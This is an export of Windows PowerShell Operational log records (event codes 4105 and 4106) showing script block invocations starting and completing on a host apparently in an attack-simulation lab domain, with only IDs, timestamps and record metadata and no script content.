ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033041
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033040
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033039
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033038
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033022
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033021
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033016
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033015
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032993
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032992
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032991
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032990
Keywords=None
